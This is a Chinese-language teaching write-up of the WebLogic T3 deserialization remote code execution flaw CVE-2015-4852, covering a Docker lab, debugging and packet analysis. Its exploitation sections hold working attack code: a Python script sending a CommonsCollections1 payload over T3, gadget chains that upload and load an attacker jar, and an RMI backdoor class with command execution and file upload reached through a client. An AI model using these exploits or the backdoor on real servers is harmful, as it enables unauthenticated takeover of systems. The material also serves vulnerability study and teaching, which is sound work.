CVE-2015-4852 Weblogic 反序列化RCE分析

  1. 0x01 漏洞环境
  2. 0x02 漏洞定位
  3. 0x03 调试方法
  4. 0x04 漏洞分析
  5. 0x05 利用方法
    1. 5.1 RCE Payload
    2. 5.2 命令回显 Payload
  6. 0x06 参考

author: Dlive

给北邮实验班准备的一次课程,讲一下最近Web研究中比较火的Java漏洞。

准备从历史漏洞开始讲起,Weblogic反序列化是一个开端,回顾Weblogic历史上爆的几个反序列化以后有机会也会讲Java中比较常见的表达式注入等问题。

这是15年最早曝出的Java反序列化导致的RCE中影响的一个Java Web应用,这次反序列化漏洞影响面很大,几乎涉及了市面上主流的J2EE容器,Jboss、Jenkins、Websphere、Weblogic、Opennm均受影响。

这次Java反序列化漏洞能产生这么大的影响,主要是因为这次反序列化直接导致了RCE,利用方式就是使用Common Collections中的Gadget,关于这部分内容,我们在之前已经说过。

关于这次反序列化事件可以参考:

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#commons

Weblogic反序列化的危害:

利用weblogic的JAVA反序列化漏洞能够直接控制服务器,危害较大,且weblogic通常只有一个服务端口(7001),无法通过禁用公网访问特定端口的方式修复漏洞。

0x01 漏洞环境

Dockerfile

1
2
3
4
5
6
FROM vulhub/weblogic

ENV debugFlag true

EXPOSE 7001
EXPOSE 8453

docker-compose.yml

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"

启动漏洞环境

1
2
docker-compose build
docker-compose up -d

0x02 漏洞定位

使用网上exp来攻击测试环境的Weblogic,然后在Weblogic日志中可以找到如下保存信息,根据函数调用栈,我们可以确定漏洞位置

日志路径:~/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log

Weblogic 7001端口是HTTP与T3协议复用的端口,Weblogic会根据协议数据包的头部字段判断是什么类型协议的请求

从调用栈中我们可以看到是weblogic.rjvm.t3.MuxableSocketT3类在处理T3数据包时导致的反序列化漏洞

0x03 调试方法

在Dockerfile中我们设置了debugFlag环境变量为true,这时Weblogic会开启调试模式,调试端口为8453

下图为~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh脚本

在 IDEA 里新建一个 Java Web 工程,在File->Project Structure里找到Libraries,添加~/Oracle/Middleware/Oracle_Home/wlserver/modules。

然后配置远程调试,填写远程IP以及端口

函数调用栈的上半部分可以明显看到是Gadgets的调用栈和Java反序列化ObjectInputStream.readObject的调用栈,所以我们不用管

我们将断点下到com.bea.core.weblogic.rmi.client_1.11.0.0.jar!/weblogic/rjvm/InboundMsgAbbrev.class类的readObject方法,如下所示

我们刚刚添加的modules文件夹可以从External Libraries中找到

点击Debug “weblogic”就可以看到Intellij Idea尝试去Attach远程端口了(Attach一次之后不知道为什么端口会挂掉,如果需要再次Attach的话请重启docker)

这时我们使用网上公开的攻击工具去向测试环境中的Weblogic发送payload,然后可以看到已经命中断点

根据我们之前讲的CommonCollections1的Gadgets调用流程,我们知道最终拼接Java方法调用的地方在ChainedTransformer中

我们对tranform方法中下断点即可看到payload的执行效果

0x04 漏洞分析

这个反序列化漏洞没有做任何防御,Weblogic在处理7001端口T3协议的数据时直接反序列化了攻击者可控的数据

该漏洞的作者挖掘该漏洞的方法并不是代码审计,而是在7001端口的数据包中发现了反序列化的数据,我们按照作者的思路重现一下该漏洞的发现过程

首先Weblogic使用了commons-collections这个包

1
2
root@f79a294eee66:~/Oracle/Middleware# grep -irn "InvokerTransformer" ./
Binary file ./modules/com.bea.core.apache.commons.collections_3.2.0.jar matches

~/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh用来关闭Weblogic服务

修改脚本中ADMIN_URL中的IP地址为远程服务器IP地址,然后运行该脚本进行抓包

该脚本会与Webloigc 7001端口通信,我们使用Wireshark抓取这次通信的数据,部分截图如下

反序列化数据的STREAM_MAGIC_NUMBER ac ed 最常见的是ac ed 00 05,其中00 05是指STREAM_VERSION

我们在上图中可以看到通信过程中夹杂这反序列化数据

在关闭Weblogic服务时,需要输入用户名和密码,在用户名密码错误的情况下通信数据中仍然含有反序列化数据,也就是说该漏洞的利用可以在未授权的情况下进行

这部分交互的数据为Weblogic T3协议数据包

1
2
3
4
5
6
7
8
9
10
11
12
关于T3协议(摘自:http://blog.orleven.com/2017/11/11/java-deserialize/)

WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。

简要来说,T3协议允许客户端远程调用服务端的类。

经测试,使用
t3 9.2.0\nAS:255\nHL:19\n\n

字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。

在收到服务器的返回数据包后,就可了发送poc了。

首先由客户端发送t3 10.3.6\nAS:255\nHL:19\n\n,其中10.3.6是客户端的版本号

服务端回复数据HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n,10.3.6是服务端的版本号,我们可以通过这版本信息判断是否可能存在漏洞

在这两个包结束后,客户端向服务端发送带有反序列化数据的数据包,数据包的包头是T3协议数据,第一部分序列化数据是T3协议需要的Java对象,我们在构造利用时不用修改这部分数据

可以直接换掉第二部分序列化数据为我们自己生成的攻击payload,关于这部分内容可以参考参考文章《修复Weblogic的Java反序列化漏洞的多种方法》

0x05 利用方法

5.1 RCE Payload

尝试自己构造exp进行漏洞利用,通过构造序列化数据我们可以执行任意命令,但是无法直接回显,关于如何进行回显我们会在下一小节讲解

因为我们之前已经讲过Commons-Collections1 Gadgets的构造原理,所以我们这里直接使用之前讲过的代码生成或者使用ysoserial工具生成我们所需要的序列化数据payload_object即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# coding: utf-8

import socket
import struct

def exp(host, port):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
# Send headers
headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
sock.sendall(headers)
data = sock.recv(2)
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "touch /tmp/dlive.txt" > /tmp/payload.tmp
f = open('/tmp/payload.tmp', 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
payload2 = payload_obj

payload = payload1 + payload2 + payload3

payload = struct.pack('>I', len(payload)) + payload[4:]

sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()

exp('127.0.0.1', 7001)

效果如下

5.2 命令回显 Payload

通过HTTP协议进行通信的漏洞利用,比如Struts2的命令执行回显,我们可以通过获取HttpResponce等,但是对于Weblogic我们有什么方法来进行命令回显呢

因为WebLogic T3协议给我们提供了一个很好的远程调用接口,所以我们直接使用T3远程调用我们上传的jar文件中的方法即可

这里参考@rebeyond的方法使用CommonsCollections1和RMI来进行命令回显

大概思路如下

  1. 上传攻击者的jar包,jar包中包含了一个类继承自java.rmi.Remote可以被远程调用的类,该类包含了一个命令执行的方法、一个文件上传的方法,一个main方法作用是执行bind方法来注册远程对象
  2. 通过反序列化调用jar包中的main函数注册远程对象
  3. 本地通过T3协议远程调用这个类中的方法
  4. 上传卸载远程对象的jar包,然后通过反序列化调用jar包中的卸载方法卸载掉之前使用的远程对象

攻击者构造的jar包,因为远程WebLogic的Java版本未知,所以尽量使用低版本jdk编译,这里我使用jdk1.6编译

IDEA可在Project Structure中设置使用的jdk版本

RMIInterface.java

1
2
3
4
5
6
package com.cmd;

public interface RMIInterface extends java.rmi.Remote {
String runCmd(String cmd);
String putFile(byte[] content, String path);
}

RMIImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.cmd;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStreamReader;

public class RMIImpl implements RMIInterface {

@Override
public String runCmd(String cmd) {
try
{
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
}
catch(Exception e)
{
return e.getMessage();
}
}

@Override
public String putFile(byte[] content, String path) {
try
{
FileOutputStream fo=new FileOutputStream(path);
fo.write(content);
fo.close();
File f=new File(path);
if (f.exists())
{
return path+"上传成功!已验证存在。";
}
else
{
return path+"上传成功!";
}

}
catch(Exception e)
{
return e.getMessage();
}


}
public static void main(String args[]) throws Exception {
// 复用WebLogic的T3协议7001端口,无需自己指定端口,因为在某些网络条件下攻击者所能接触到的开放端口有限
try {
RMIImpl obj = new RMIImpl();
Context ctx = new InitialContext();
ctx.bind("RemoteClass", obj);
}
catch (Exception e) {
System.err.println("RemoteClass: an exception occurred:");
System.err.println(e.getMessage());
throw e;
}
}
}

卸载时,jar包内容修改为如下所示

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String args[]) throws Exception {
try {
RMIImpl obj = new RMIImpl();
Context ctx = new InitialContext();
ctx.unbind("RemoteClass");
}
catch (Exception e) {
System.err.println("RemoteClass: an exception occurred:");
System.err.println(e.getMessage());
throw e;
}
}

上传文件的反序列化Gadgets构造如下

@rebeyond给的Gadgets是另一个Gadgets,这里直接使用之前讲过的CommonsCollections1

需要注意CommonsCollections1只能在jdk1.8以下执行,这里我使用jdk1.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
public class UploadJar {

public static Object gadgets(String OS, byte[] data) throws Exception {
String Path="c:/windows/temp/test.jar";
if (!OS.equals("Windows"))
{
Path="/tmp/test.jar";
}
// FileOutputStream
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(FileOutputStream.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[]{ String.class, Boolean.TYPE } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {new Object[] { Path, Boolean.valueOf(false) } }),
new InvokerTransformer("write", new Class[] { byte[].class }, new Object[] { data }),
};
Transformer chain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();


final Map lazyMap = LazyMap.decorate(innerMap, chain);

String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

final Map testMap = new HashMap();

Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);

InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilMap);

return invocationHandlerToSerialize;
}

public static void test() throws Exception {
FileOutputStream fos = new FileOutputStream("/tmp/test.txt");
fos.write("just test".getBytes());
fos.close();
}

public static void main(String[] args) throws Exception {

File jar = new File("/Users/dlive/Web&Pen/Java Web/weblogic/CVE-2015-4852/exp2_jar/out/artifacts/exp2_jar_jar/exp2_jar.jar");

Long jarLen = jar.length();

byte[] data = new byte[jarLen.intValue()];

FileInputStream fis = new FileInputStream(jar);
fis.read(data);
fis.close();

Object obj = gadgets("Linux", data);

FileOutputStream fos = new FileOutputStream("/tmp/payload.tmp");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);

// Test Code
// FileInputStream ios = new FileInputStream("/tmp/payload.tmp");
// ObjectInputStream ois = new ObjectInputStream(ios);
// ois.readObject();
}

调用攻击者自定义jar文件进行远程类的注册(为节省篇幅下面代码只保留了构造攻击者执行代码的部分Gadget)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 使用URLClassLoader加载/tmp/test.jar,然后调用其中的com.cmd.RMIImpl.main方法
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
Path) } } }),
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "com.cmd.RMIImpl" }),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"main", new Class[]{String[].class} }),
new InvokerTransformer("invoke",new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[]{new String[]{"just for test"}} })
};

上传jar并注册远程对象之后,可直接在本地使用T3协议远程调用服务端的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class Client
{
// Defines the JNDI context factory.
public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";

public static void main(String[] argv) throws Exception {
String host = "127.0.0.1";
int port = 7001;
try {
// 测试环境为Docker,端口被映射到本地7001,所以这里的IP和端口为127.0.0.1:7001
InitialContext ic = getInitialContext("t3://" + host + ":" + port);
RMIInterface obj = (RMIInterface) ic.lookup("RemoteClass");
System.out.println("Successfully connected to HelloServer on " +
host + " at port " +
port);
// 执行命令
String CmdResult= obj.runCmd("whoami");
System.out.println (CmdResult) ;
// 上传文件
String UploadResult= obj.putFile("just for test".getBytes(), "/tmp/test.txt");
System.out.println(UploadResult);
}
catch (Exception ex) {
System.err.println("An exception occurred: "+ex.getMessage());
throw ex;
}
}

public static InitialContext getInitialContext(String url)
throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

效果如下

在编译上面代码的时候会用到commons-colllections的jar包,和weblogic的jar包,前者可以使用maven下载,后者可以直接从weblogic目录下导入

0x06 参考

  1. What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
    https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#commons

  2. 修复Weblogic的Java反序列化漏洞的多种方法
    http://drops.xmd5.com/static/drops/web-13470.html

  3. Weblogic反序列化漏洞分析与调试
    http://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/

  4. 序列化与反序列化
    https://wsygoogol.github.io/2016/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

  5. Lib之过?Java反序列化漏洞通用利用分析
    https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h4.2_weblogic

  6. Java反序列化漏洞之weblogic本地利用实现篇
    http://www.freebuf.com/vuls/90802.html

  7. Commons Collections Java 反序列化漏洞总结
    http://blog.orleven.com/2017/11/11/java-deserialize/

  8. Java反序列化漏洞执行命令回显实现及Exploit下载
    http://www.freebuf.com/sectool/88908.html

  9. 我是如何造Weblogic反序列化漏洞EXP的轮子
    http://www.polaris-lab.com/index.php/archives/98/

  10. WebLogic RMI编程
    https://blog.csdn.net/lifaming15/article/details/1800478

  11. weblogic unserialize exploit
    https://github.com/hanc00l/weblogic_unserialize_exploit